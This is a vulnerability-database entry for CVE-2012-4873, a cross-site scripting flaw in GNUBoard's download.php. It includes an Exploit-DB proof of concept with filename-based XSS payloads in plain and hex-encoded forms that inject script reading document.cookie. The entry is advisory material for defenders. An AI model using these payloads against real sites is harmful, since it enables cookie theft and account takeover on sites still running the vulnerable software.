CVE-2012-4873
Description
Cross-site scripting (XSS) vulnerability in the file_download function in GNUBoard before 4.34.21 allows remote attackers to inject arbitrary web script or HTML via the filename parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GNUBoard 4.34.20 - 'download.php' HTML Injection
source: https://www.securityfocus.com/bid/52622/info
Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.
Gnuboard versions prior to 4.34.21 are vulnerable.
1) you can upload a file (e.g. a.txt) to the BBS.
2) you can download it from the following scripts and figure out what's working on.
### vulnerable code #########################################################################################################################
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');
#############################################################################################################################################
3) you can also upload a file with name of XSS code. The following is the example.
- ');alert(document.cookie);//
- %27);alert(document.cookie);%2f%2f
- %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f
### vulnerable code #########################################################################################################################
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');
#############################################################################################################################################
4) The example file works by pulling in the Javascript and running it as part of the Javascript.
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| sir | gnuboard | {"endIncluding":"4.34"} | |
References
- http://secunia.com/advisories/48458
- http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7156
- http://www.exploit-db.com/exploits/18627
- http://www.securityfocus.com/bid/52622
- http://secunia.com/advisories/48458
- http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7156
- http://www.exploit-db.com/exploits/18627
- http://www.securityfocus.com/bid/52622
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.